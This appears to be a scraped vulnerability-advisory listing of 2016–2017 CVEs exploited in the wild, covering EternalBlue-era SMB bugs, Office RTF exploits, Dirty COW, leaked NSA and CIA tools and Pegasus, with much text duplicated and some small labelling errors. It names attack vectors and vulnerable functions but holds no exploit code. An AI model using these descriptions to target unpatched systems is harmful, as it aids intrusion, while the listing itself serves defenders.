Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2017-0210

Cross-domain scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability is caused by incorrect filtration of input data. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in victimтАЩs browser in security context of another domain.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: this vulnerability is being exploited in the wild.

Software: Microsoft Internet Explorer

Remote code execution in Microsoft Office
CVE-2017-0199

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation. A remote unauthenticated attacker can create a specially crafted Office document, trick the victim into opening it with Microsoft Office or WordPad and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in compromise vulnerable system.

Note: the vulnerability is being actively exploited.

i

The detected samples are organized as Word files containing Dridex botnet ID 7500 (more specially, RTF files with тАЬ.docтАЭ extension name). The exploit works on all Microsoft Office versions, including the latest Office 2016 running on Windows 10. The earliest attack dates to late January, according to McAfee.
According to FireEye, the malware leveraging this vulnerability was used to target Russian-speaking victims. As early as Jan. 25, 2017, lure documents referencing a Russian Ministry of Defense decree and a manual allegedly published in the "Donetsk People's Republic" exploited CVE-2017-0199 to deliver FINSPY payloads.

This vulnerability was also used by Patya.A ransomware in malware outbreak on 27 June, 2017 as one of the attack vectors.

Software: Microsoft Office

Known/fameous malware:

Malware.Binary.Rtf
Dridex botnet
FINSPY
LATENTBOT
Petya.A

The detected samples are organized as Word files containing Dridex botnet ID 7500 (more specially, RTF files with тАЬ.docтАЭ extension name). The exploit works on all Microsoft Office versions, including the latest Office 2016 running on Windows 10. The earliest attack dates to late January, according to McAfee.
According to FireEye, the malware leveraging this vulnerability was used to target Russian-speaking victims. As early as Jan. 25, 2017, lure documents referencing a Russian Ministry of Defense decree and a manual allegedly published in the "Donetsk People's Republic" exploited CVE-2017-0199 to deliver FINSPY payloads.

This vulnerability was also used by Patya.A ransomware in malware outbreak on 27 June, 2017 as one of the attack vectors.

Remote code execution in Microsoft IIS 6.0
CVE-2017-7269

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in ScStoragePathFromUrl() function in the WebDAV service when processing overly long HTTP header beginning with "If: <http://" in a PROPFIND request. A remote unauthenticated attacker can trigger buffer overflow and execute arbitrary code on the target system with privileges of the IIS service.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited in the wild in July and August 2016.

i

There are reports that this vulnerability is being actively exploited in the wild against legacy installations of Microsoft IIS 6.0 in July and August 2016. At the time of publication the product was no longer supported by the vendor. However Microsoft has decided to release a security patch to address this issue on June 13, 2017.

Software: Microsoft IIS

Known/fameous malware:

EXPLODINGCAN

There are reports that this vulnerability is being actively exploited in the wild against legacy installations of Microsoft IIS 6.0 in July and August 2016. At the time of publication the product was no longer supported by the vendor. However Microsoft has decided to release a security patch to address this issue on June 13, 2017.

Spoofing attack in Telegram Desktop for Windows

Spoofing attack

The vulnerability allows a remote attacker to perform spoofing attack.

The vulnerability exists due to improper parsing of right-to-left override (RLO) character when processing names of the transmitted files in Telegram Desktop for Windows. A remote attacker can create a specially crafted filename with malicious content (e.g. a JavaScript file), disguise it as an image and trick the victim into opening it.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability has been exploited in the wild since March until October in 2017, according to Kaspersky Lab and was silently fixed by the vendor.


i

According to Kaspersky Lab, this vulnerability was exploited in the wild since March 2017 until October 2017. The attackers used the vulnerability to install cryptocurrency miners on victimsтАЩ computers.

Software: Telegram Desktop for Windows

According to Kaspersky Lab, this vulnerability was exploited in the wild since March 2017 until October 2017. The attackers used the vulnerability to install cryptocurrency miners on victimsтАЩ computers.

Remote code execution in Cluster Management Protocol in Cisco IOS and IOS XE
CVE-2017-3881

Improper input validation

The vulnerability allows a remote attacker to gain access to vulnerable device.

The vulnerability exists due to improper input validation in Cisco Cluster Management Protocol (CMP) implementation and failure to restrict usage of CMP-specific Telnet options only to internal, local communications between cluster members. A remote unauthenticated attacker can send specially crafted CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections and cause the affected device to reload or obtain full control over vulnerable device.

Successful exploitation of this vulnerability may allow an attacker to gain full access to vulnerable device.

Note: information about this vulnerability was publicly disclosed by WikiLeaks documents dubbed CIA Vault 7.

i

The vulnerability was disclosed by WikiLeaks in documents dubbed CIA Vault 7. It is believed that this vulnerability was used by CIA agents to penetrate government and corporate networks.

Software: Cisco IOS

The vulnerability was disclosed by WikiLeaks in documents dubbed CIA Vault 7. It is believed that this vulnerability was used by CIA agents to penetrate government and corporate networks.

Multiple vulnerabilities in Microsoft Windows SMB Server
CVE-2017-0145

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing requests in Microsoft Server Message Block 1.0 (SMBv1) server. A remote unauthenticated attacker can send specially crafted SMB packets and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

i

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

Software: Windows

Known/fameous malware:

EternalSynergy exploit

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

Multiple vulnerabilities in Microsoft Windows SMB Server
CVE-2017-0144

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing requests in Microsoft Server Message Block 1.0 (SMBv1) server. A remote unauthenticated attacker can send specially crafted SMB packets and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

i

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

This vulnerability was used to spread WannaCry and NotPetya ransomwere.

Software: Windows

Known/fameous malware:

EternalRomance exploit
WannaCry
NotPetya

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

This vulnerability was used to spread WannaCry and NotPetya ransomwere.

Multiple vulnerabilities in Microsoft Windows SMB Server
CVE-2017-0147

Information disclosure

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to an error when parsing requests in Microsoft Server Message Block 1.0 (SMBv1) server. A remote unauthenticated attacker can send specially crafted SMB packets and gain access to potentially sensitive data.

Successful exploitation of this vulnerability may allow an attacker to gain access to potentially sensitive information.

Note: this vulnerability has been exploited in the wild and is publicly known as EternalChampion exploit.

i

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

Software: Windows

Known/fameous malware:

EternalChampion exploit

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

Multiple vulnerabilities in Microsoft Windows SMB Server
CVE-2017-0146

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing requests in Microsoft Server Message Block 1.0 (SMBv1) server. A remote unauthenticated attacker can send specially crafted SMB packets and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability has been exploited in the wild and is publicly known as EternalChampion exploit.

i

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

Software: Windows

Known/fameous malware:

EternalChampion exploit

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

Multiple vulnerabilities in Microsoft Windows SMB Server
CVE-2017-0143

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing requests in Microsoft Server Message Block 1.0 (SMBv1) server. A remote unauthenticated attacker can send specially crafted SMB packets and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

i

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

On May 12, 2017 the malicious team has hit over 100,000 organizations in 150 countries. The hackers encrypted files from the target system and demanded 300-600$.

Software: Windows

Known/fameous malware:

WannaCry (Wana Decryptor) malware (the hackers added .WCRY extention to the targte files). The malware is believed to be connected to Lazarus Group from North Korea.
EternalBlue exploit.

On April 14, 2017 the Shadow Brokers team made the exploit pack publicly available. The exploits are believed to be stolen from the NSA.

It is unclear, which CVE has been assigned to this vulnerability. Possible CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148.

On May 12, 2017 the malicious team has hit over 100,000 organizations in 150 countries. The hackers encrypted files from the target system and demanded 300-600$.

Multiple vulnerabilities in Microsoft Windows
CVE-2017-0005

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to improper handling of objects in memory by Windows Graphics Device Interface (GDI). A local attacker can run a specially crafted application, gain elevated privileges and execute arbitrary code on the affected system.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was used by Zirconium cyber-espionage group against older versions of Windows.

Software: Windows

The vulnerability was used by Zirconium cyber-espionage group against older versions of Windows.

Information disclosure in Microsoft XML Core Services
CVE-2017-0022

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The vulnerability exists due to improper handling of objects in memory by Microsoft XML Core Services (MSXML). A remote unauthenticated attacker can create a specially crafted Web site, trick the victim into visiting it and test for the presence of files on disk.

Successful exploitation of this vulnerability results in information disclosure.

Note: the vulnerability was being actively exploited.

i

This vulnerability was used in the AdGholas malvertising campaign and later integrated into the Neutrino exploit kit. The vulnerability was reported to Microsoft in September 2016. The first malware sample, discovered in the wild, is connected with AdGholas campaign in July 2016. The exploit came back again in September 2016 with the Neutrino exploit kit.

Software: Microsoft XML Core Services

Known/fameous malware:

Neutrino exploit kit

This vulnerability was used in the AdGholas malvertising campaign and later integrated into the Neutrino exploit kit. The vulnerability was reported to Microsoft in September 2016. The first malware sample, discovered in the wild, is connected with AdGholas campaign in July 2016. The exploit came back again in September 2016 with the Neutrino exploit kit.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2017-0149

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when accessing objects in memory. A remote unauthenticated attacker can create a specially crafted web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Microsoft Internet Explorer

Remote code execution in Mikrotik RouterOS HTTP server

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the HTTP server component. A remote attacker can send a specially crafted HTTP POST request to the affected device and trigger stack-based buffer overflow.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary code on the target system.

Note: this vulnerability was disclosed in the "Vault 7" leak by Wikileaks project. The codename of the exploit affecting Mikrotik RouterOS is ChimayRed.
i

Remote code execution exploit was revealed during Vault 7 leak. It is possible, that this vulnerability was used to compromise Mikrotik routers in Slingshot APT campaign.

Software: MikroTik RouterOS

Known/fameous malware:

ChimayRed

Remote code execution exploit was revealed during Vault 7 leak. It is possible, that this vulnerability was used to compromise Mikrotik routers in Slingshot APT campaign.

Backdoor in Web Paint Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Web Paint Google Chrome extension 1.2.1, distributed via Google Web Store.


i

The browser extension was hijacked on Google Web Store. The attackers were able to distributed malware to the extension user's. The attack occurred around March 1, 2017.

Software: Web Paint (Chrome extension)

The browser extension was hijacked on Google Web Store. The attackers were able to distributed malware to the extension user's. The attack occurred around March 1, 2017.

Multiple vulnerabilities in cPanel
CVE-2017-5613

Format string vulnerability

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a format string error within cgiemail and cgiecho binaries when processing template files. A remote authenticated attacker can create a specially crafted file, containing form string specifiers and execute arbitrary code on the target system.

Successful exploitation may allow an attacker to compromise vulnerable system.

Note: this vulnerability has been exploited in the wild and was disclosed by the Shadow Brokers leak. The exploit is known as ElegantEagle.

i

The exploit code was disclosed by the Shadow Brokers leak dubbed ElegantEagle, exploiting vulnerability in cgiemail.

Software: cPanel

Known/fameous malware:

ElegantEagle exploit

The exploit code was disclosed by the Shadow Brokers leak dubbed ElegantEagle, exploiting vulnerability in cgiemail.

Multiple vulnerabilities in Adobe Flash Player
CVE-2016-7892

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error when processing .swf files. A remote attacker can create a specially crafted SWF file, trick the victim into opening it, cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Adobe Flash Player

Remote code execution in Mozilla Firefox
CVE-2016-9079

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error when processing SVG animation in nsSMILTimeContainer::NotifyTimeChange() function. A remote attacker can create a specially crafted web page, host malicious SVG file on it and execute arbitrary code on vulnerable system.

Successful exploitation may allow an attacker to gain complete control over vulnerable system.

Note: this vulnerability is being publicly exploited against Tor Browser users.

i

Exploited in the wild against TOR Browser users. Exploit code was publicly disclosed as well before Mozilla released the patch.

Software: Tor Browser

Exploited in the wild against TOR Browser users. Exploit code was publicly disclosed as well before Mozilla released the patch.

Remote code execution in Jenkins
CVE-2016-9299

LDAP injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to the flaw in the remoting module when handling malicious objects. A remote attacker can transfer a specially crafted serialized Java object to the Jenkins CLI, make Jenkins connect to an attacker-controlled LDAP server, bypass existing protection mechanisms and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in arbitrary code excution on the vulnerable system.

Note: the vulnerability was being actively exploited.


Software: Jenkins

Multiple vulnerabilities in Microsoft Graphics Component
CVE-2016-7256

Memory Corruption

A remote attacker can execute arbitrary code on the target system.

The vulnerability exists due to incorrect handling of objects in memory in Windows font library when processing Open Type fonts. A remote attacker can create a specially crafted font file and cause memory corruption.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary code on vulnerable system with privileges of the current user.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability started to appear on the radar in June 2016 as it was used in "low-volume attacks primarily focused on targets in South Korea". A successful attack exploited a flaw in the Windows font library to elevate privileges, and to install a backdoor on target systems called Hankray.

Software: Windows

Known/fameous malware:

Trojan Horse Exp.CVE-2016-7256.

The vulnerability started to appear on the radar in June 2016 as it was used in "low-volume attacks primarily focused on targets in South Korea". A successful attack exploited a flaw in the Windows font library to elevate privileges, and to install a backdoor on target systems called Hankray.

Privilege escalation in Windows 10
CVE-2016-7255

Privilege escalation

The vulnerability allows a local user to gain elevated privileges on the target system.

The weakness is due to improper handling of objects in memory by win32k.sys. By sending a specially crafted system call NtSetWindowLongPtr(), a local attacker can set index GWLP_ID to WS_CHILD value on a window handle with GWL_STYLE and execute arbitrary code with system privileges.

Successful explotation of the vulnerability results in privilege escalation.

Note: this vulnerability is being actively exploited in the wild.

i

The zero-day was being actively exploited by Russian hackers (APT28, Fancy Bear, Pawn Storm, Sednit, Tsar Team, and Sofacy).

Software: Windows

The zero-day was being actively exploited by Russian hackers (APT28, Fancy Bear, Pawn Storm, Sednit, Tsar Team, and Sofacy).

Remote code execution in Adobe Flash Player
CVE-2016-7855

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error when handling .swf files. A remote attacker can trick the victim to visit a website or open a file with malicious Flash file and execute arbitrary code on the target system with privileges of the current user.

Note: this vulnerability was being actively exploited in the wild.

i

The vulnerability was disclosed by Neel Mehta and Billy Leonard of the Google Threat Analysis Group.

The vulnerability was exploited by Russian hacker group APT28.

Software: Adobe Flash Player

The vulnerability was disclosed by Neel Mehta and Billy Leonard of the Google Threat Analysis Group.

The vulnerability was exploited by Russian hacker group APT28.

Privilege escalation in Linux kernel
CVE-2016-5195

Privilege escalation

The vulnerability allows a  local user to obtain elevated privileges on the target system.
The weakness is due to race condition in the kernel memory subsystem in the management of copy-on-write operations on read-only memory mappings that lets attackers to overwrite kernel memory and gain kernel-level privileges.
Successful exploitation of the vulnerability results in gaining of root privileges on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by security researcher Phil Oester and is called "DIRTY COW".
It is believed that the vulnerability was being exploited in the wild for quite some time.

Software: Linux kernel

The vulnerability was discovered by security researcher Phil Oester and is called "DIRTY COW".
It is believed that the vulnerability was being exploited in the wild for quite some time.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2016-3298

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The vulnerablity exists due to improper handling of objects in memory by the Internet Messaging API. A remote attacker can create a specially crafted content, trick the victim into opening it, bypass security restrictions and determine the existence of arbitrary files.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Proofpoint researchers Will Metcalf and Kafeine first detected and reported CVE-2016-3298 in April 2016 as part of a тАЬGooNkyтАЭ infection chain along with CVE-2016-3351, but the information disclosure vulnerability was most likely already in use by the AdGholas group.

CVE-2016-3298 and CVE-2016-3351 were reported to Microsoft between October and December of 2015.


Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit Kit: Neutrino

Proofpoint researchers Will Metcalf and Kafeine first detected and reported CVE-2016-3298 in April 2016 as part of a тАЬGooNkyтАЭ infection chain along with CVE-2016-3351, but the information disclosure vulnerability was most likely already in use by the AdGholas group.

CVE-2016-3298 and CVE-2016-3351 were reported to Microsoft between October and December of 2015.


Multiple vulnerabilities in Microsoft Windows
CVE-2016-3393

Arbitrary code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the Graphics Device Interface (GDI) component. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability has been used by an APT group Kaspersky Lab call FruityArmor. Victims have been identified in Thailand, Iran, Algeria, Yemen, Saudi Arabia and Sweden.

Software: Windows

The vulnerability has been used by an APT group Kaspersky Lab call FruityArmor. Victims have been identified in Thailand, Iran, Algeria, Yemen, Saudi Arabia and Sweden.

Multiple vulnerabilities in Microsoft Edge
CVE-2016-7189

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the Scripting Engine when handling malicious files. A remote attacker can create a specially crafted content, trick the victim into downloading it, trigger memory corruption and execute arbitrary code.

Successful exploitation of the vulnerability will result in arbitrary code execution.

Note: the vulnerability was being actively exploited.

Software: Microsoft Edge

Remote code execution in Microsoft Office
CVE-2016-7193

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling of malicious RTF files by Microsoft Word. A remote attacker can create a specially crafted RTF document, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability will result in arbitrary code execution.

Note: the vulnerability was being actively exploited.

Software: Microsoft Word

Information disclosure when handling IKEv1 packets in Cisco products
CVE-2016-6415

Information disclosure

The vulnerability allows a remote user to access potentially sensitive information on the target system.

The weakness exists due to insufficient checks of IKE packats when handling ISAKMP requests. By sending specially crafted IKEv1 packets  to the IKE service via IPv4 or IPv6 a malicious user can obtain memory contents.

Successful exploitation of the vulnerability leads to confidential information disclosure on the vulnerable system.

Note: this vulnerability was being actively exploited in the wild. It was disclosed as part of Equation Group Leak and is reffered as BENIGNCERTAIN exploit.

i

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group on Saturday 13 August 2016. The exploit code was dubbed BENIGNCERTAIN and presumably was used by NSA operatives to infiltrate networks of government organizations and private companies.

Software: Cisco IOS

Known/fameous malware:

BENIGNCERTAIN

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group on Saturday 13 August 2016. The exploit code was dubbed BENIGNCERTAIN and presumably was used by NSA operatives to infiltrate networks of government organizations and private companies.

Multiple vulnerabilities in Microsoft Internet Explorer and Edge
CVE-2016-3351

Memory corruption

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to boundary error when handling of malicious files. A remote attacker can create a specially crafted content, trick the victim into opening it, trigger memory corruption and gain access to arbitrary data.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Microsoft has known about CVE-2016-3351 since 2015.
Exploited By AdGholas and GooNky Malvertising Groups.

Software: Microsoft Internet Explorer

Microsoft has known about CVE-2016-3351 since 2015.
Exploited By AdGholas and GooNky Malvertising Groups.

Remote code execution in InPage
CVE-2017-12824

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists within text processor when parsing .inp files. A remote attacker can create a specially crafted .inp file, trick the victim to open it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in full system compromise.

Note: this vulnerability is being actively exploited in the wild against financial institutions in Asia. The latest attack report is dated November 3, 2017.

i

Exploit code was used in targeted attacks against financial institutions in Asia. Victims of these attacks have been observed in U.K., U.S, Myanmar, Sri-Lanka and Uganda. The sector for the victims include both financial and governmental institutions.

Attacks are similar to attacks exploiting vulnerabilities in the Hangul Word Processor against government targets in South Korea.

UPDATE
Researchers from Palo Alto Networks published a write-up on November 2 2017, describing 3 latest exploits, leveraging this particular vulnerability.

The decoy documents used by the InPage exploits in the latest attacks suggest that the targets are likely to be politically or militarily motivated. They contained subjects such as intelligence reports and political situations related to India, the Kashmir region, or terrorism being used as lure documents.

Software: InPage

Known/fameous malware:

Zeus-type malware
CONFUCIUS_B

Exploit code was used in targeted attacks against financial institutions in Asia. Victims of these attacks have been observed in U.K., U.S, Myanmar, Sri-Lanka and Uganda. The sector for the victims include both financial and governmental institutions.

Attacks are similar to attacks exploiting vulnerabilities in the Hangul Word Processor against government targets in South Korea.

UPDATE
Researchers from Palo Alto Networks published a write-up on November 2 2017, describing 3 latest exploits, leveraging this particular vulnerability.

The decoy documents used by the InPage exploits in the latest attacks suggest that the targets are likely to be politically or militarily motivated. They contained subjects such as intelligence reports and political situations related to India, the Kashmir region, or terrorism being used as lure documents.

Multiple vulnerabilities in Apple iOS
CVE-2016-4657

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in WebKit. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: the vulnerability was being actively exploited.

i

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Software: Apple iOS

Known/fameous malware:

Trident exploit.

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Multiple vulnerabilities in Apple iOS
CVE-2016-4656

Memory corruption

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to a boundary error when processing a malicious application. A local attacker can run a specially crafted application, trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability was being actively exploited.

i

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Software: Apple iOS

Known/fameous malware:

Trident exploit.

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Multiple vulnerabilities in Apple iOS
CVE-2016-4655

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to improper input validation. A remote attacker can run a specially crafted application, bypass security restrictions and obtain portions of kernel memory.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.


i

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Software: Apple iOS

Known/fameous malware:

Trident exploit.

The Citizen Lab discovery exposed three zero-day exploits ((CVE-2016-4655, CVE-2016-4656, CVE-2016-4657)) used by тАЬPegasusтАЭ, a lawful interception cyberespionage tool developed by the Israeli-based NSO Group and sold to government agencies (UAE Human Rights Defender (Ahmed Mansoor)).

Local buffer overflow in CLI parser in Cisco ASA Appliances
CVE-2016-6367

CLI parser buffer overflow

The vulnerability allows a local user to cause denial of service or execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in the command-line interface (CLI) parser. A local authenticated user can trigger buffer overflow and reload the affected device or execute arbitrary code on the target system.

Successful exploitation of this vulnerability will allow a local user to execute arbitrary code on vulnerable system.

The following models of CISCO ASA appliances are affected:

  • Cisco ASA 5500 Series Adaptive Security Appliances
  • Cisco ASA 5500-X Series Next-Generation Firewalls
  • Cisco PIX Firewalls
  • Cisco Firewall Services Module (FWSM)

Note: this is a zero-day vulnerability, discovered after security breach of The Equation Group. The exploit code for this vulnerability was publicly exposed and is referred as EPICBANANA Exploit.

i

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group in 2013. The exploit code was dubbed BENIGNCERTAIN and presumably was used by NSA operatives to infiltrate networks of government organizations and private companies

Firstly the vulnerability received a patch back in 2011.

Software: Cisco PIX Firewall

Known/fameous malware:

EPICBANANA.

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group in 2013. The exploit code was dubbed BENIGNCERTAIN and presumably was used by NSA operatives to infiltrate networks of government organizations and private companies

Firstly the vulnerability received a patch back in 2011.

Remote code execution in Cisco ASA Appliances
CVE-2016-6366

SNMP remote code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when handling SNMP packets. A remote attacker with knowledge of SNMP community string can cause buffer overflow and cause the target device to reload or execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in full compromise of affected system.

The following models of CISCO ASA appliances are affected:

  • Cisco ASA 5500 Series Adaptive Security Appliances
  • Cisco ASA 5500-X Series Next-Generation Firewalls
  • Cisco ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
  • Cisco ASA 1000V Cloud Firewall
  • Cisco Adaptive Security Virtual Appliance (ASAv)
  • Cisco Firepower 9300 ASA Security Module
  • Cisco PIX Firewalls
  • Cisco Firewall Services Module (FWSM)

Note: this is a zero-day vulnerability, discovered after security breach of The Equation Group. The exploit code for this vulnerability was publicly exposed and is referred as EXTRABACON Exploit.

i

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group in 2013. The exploit code was dubbed ExtraBacon and presumably used by NSA operatives to infiltrate networks of government organizations and private companies.

Software: Cisco ASA Series

Known/fameous malware:

ExtraBacon.

The vulnerability was revealed after The Shadow Brokers hacking group published documents stolen from Equation Group in 2013. The exploit code was dubbed ExtraBacon and presumably used by NSA operatives to infiltrate networks of government organizations and private companies.

Remote code execution in Fortinet FortiOS and FortiSwitch
CVE-2016-6909

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exist due to a boundary error within cookie parser. A remote attacker can send a specially crafted HTTP request, cause memory corruption and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access to vulnerable system.

Note:the vulnerability was being actively exploited.

i

Information about zero-day vulnerabilities in Cisco and FortiOS products was exposed after NSA data leak in August 2016. The tools bear digital signatures that match those used by the Equation Group, a group that has alleged links to the NSA. The incident highlights the risk of hoarding zero-day vulnerabilities.

EGREGIOUSBLUNDER is one of multiple Equation Group vulnerabilities and exploits disclosed on 2016/08/14 by a group known as the Shadow Brokers.

Software: FortiOS

Information about zero-day vulnerabilities in Cisco and FortiOS products was exposed after NSA data leak in August 2016. The tools bear digital signatures that match those used by the Equation Group, a group that has alleged links to the NSA. The incident highlights the risk of hoarding zero-day vulnerabilities.

